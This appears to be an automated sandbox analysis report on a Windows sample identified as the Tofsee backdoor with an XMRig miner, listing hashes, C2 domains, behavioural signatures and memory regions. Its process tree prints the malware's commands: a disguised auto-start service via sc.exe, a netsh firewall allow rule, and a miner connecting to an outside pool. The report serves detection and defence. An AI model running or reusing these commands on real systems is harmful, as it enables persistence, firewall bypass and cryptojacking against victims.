Analysis

  • max time kernel
    298s
  • max time network
    302s
  • platform
    windows7_x64
  • resource
    win7-20231025-en
  • resource tags

    arch:x64arch:x86image:win7-20231025-enlocale:en-usos:windows7-x64system
  • submitted
    06/11/2023, 04:53

General

  • Target

    47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe

  • Size

    251KB

  • MD5

    706117d683f58e36b97b72e170ace5d8

  • SHA1

    f7d0f88554f43728cc36078a9cd51134140da639

  • SHA256

    47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a

  • SHA512

    e4d0845ac027403b2cb2cb553c950a260a9adc4cd937545b83491d7feac6fe0b5b6878146fcabaf3096fe8ed2f0d94ddbe015f743605f027c2b4f8eefd2d9add

  • SSDEEP

    3072:Hbh7GhyIw5+DY0ZSPw2IKyHJVpys16Cz1npTqfZXKkksDaVXG1OGZ4t7uEa:4EIwss0sPw2IKoHyOnp0KjsAAP4

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe
    "C:\Users\Admin\AppData\Local\Temp\47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2608
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rjkmkkwq\
      2⤵
        PID:2120
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xjrouhnl.exe" C:\Windows\SysWOW64\rjkmkkwq\
        2⤵
          PID:2676
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rjkmkkwq binPath= "C:\Windows\SysWOW64\rjkmkkwq\xjrouhnl.exe /d\"C:\Users\Admin\AppData\Local\Temp\47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2788
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rjkmkkwq "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2776
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rjkmkkwq
          2⤵
          • Launches sc.exe
          PID:2336
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2668
      • C:\Windows\SysWOW64\rjkmkkwq\xjrouhnl.exe
        C:\Windows\SysWOW64\rjkmkkwq\xjrouhnl.exe /d"C:\Users\Admin\AppData\Local\Temp\47b065f065af9762f67700133b4fc299fa5cfe7c9a2ed52bdb67a0f65f5d2c6a.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2864
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2604
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2844

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\xjrouhnl.exe

              Filesize

              14.2MB

              MD5

              4a0fee77fe3fff128a859fb538362f4f

              SHA1

              9d62ccc69f1d54fbb6325d8341ec7eb9bdd02596

              SHA256

              9033ef1405ce0cfc2cc0e761c71a198b44dbe078d7bfc48fde8792d29692c963

              SHA512

              364a579b38c08b80320ab09f0e3ae1811aa0bfd7f546c1bcee451d2103fb110b48e30b282459d38b001223a58f720b8db5314bc287310a9ef0b7c3a4614e53be

            • C:\Windows\SysWOW64\rjkmkkwq\xjrouhnl.exe

              Filesize

              14.2MB

              MD5

              4a0fee77fe3fff128a859fb538362f4f

              SHA1

              9d62ccc69f1d54fbb6325d8341ec7eb9bdd02596

              SHA256

              9033ef1405ce0cfc2cc0e761c71a198b44dbe078d7bfc48fde8792d29692c963

              SHA512

              364a579b38c08b80320ab09f0e3ae1811aa0bfd7f546c1bcee451d2103fb110b48e30b282459d38b001223a58f720b8db5314bc287310a9ef0b7c3a4614e53be

            • memory/2604-38-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2604-54-0x00000000001E0000-0x00000000001E5000-memory.dmp

              Filesize

              20KB

            • memory/2604-40-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2604-59-0x00000000001F0000-0x00000000001F7000-memory.dmp

              Filesize

              28KB

            • memory/2604-58-0x0000000005770000-0x0000000005B7B000-memory.dmp

              Filesize

              4.0MB

            • memory/2604-55-0x0000000005770000-0x0000000005B7B000-memory.dmp

              Filesize

              4.0MB

            • memory/2604-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2604-51-0x00000000001E0000-0x00000000001E5000-memory.dmp

              Filesize

              20KB

            • memory/2604-11-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2604-15-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2604-50-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2604-19-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2604-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2604-21-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2604-23-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2604-24-0x0000000001970000-0x0000000001B7F000-memory.dmp

              Filesize

              2.1MB

            • memory/2604-27-0x0000000001970000-0x0000000001B7F000-memory.dmp

              Filesize

              2.1MB

            • memory/2604-28-0x00000000001C0000-0x00000000001C6000-memory.dmp

              Filesize

              24KB

            • memory/2604-31-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2604-34-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2604-35-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2604-36-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2604-37-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2604-39-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2604-49-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2604-48-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2604-41-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2604-42-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2604-43-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2604-44-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2604-45-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2604-46-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2604-47-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2608-7-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/2608-2-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/2608-8-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/2608-3-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/2608-1-0x0000000000940000-0x0000000000A40000-memory.dmp

              Filesize

              1024KB

            • memory/2844-75-0x00000000001A0000-0x0000000000291000-memory.dmp

              Filesize

              964KB

            • memory/2844-64-0x00000000001A0000-0x0000000000291000-memory.dmp

              Filesize

              964KB

            • memory/2844-63-0x00000000001A0000-0x0000000000291000-memory.dmp

              Filesize

              964KB

            • memory/2844-73-0x00000000001A0000-0x0000000000291000-memory.dmp

              Filesize

              964KB

            • memory/2844-74-0x00000000001A0000-0x0000000000291000-memory.dmp

              Filesize

              964KB

            • memory/2844-72-0x00000000001A0000-0x0000000000291000-memory.dmp

              Filesize

              964KB

            • memory/2844-76-0x00000000001A0000-0x0000000000291000-memory.dmp

              Filesize

              964KB

            • memory/2844-77-0x00000000001A0000-0x0000000000291000-memory.dmp

              Filesize

              964KB

            • memory/2844-78-0x00000000001A0000-0x0000000000291000-memory.dmp

              Filesize

              964KB

            • memory/2864-10-0x00000000008A0000-0x00000000009A0000-memory.dmp

              Filesize

              1024KB

            • memory/2864-12-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/2864-16-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB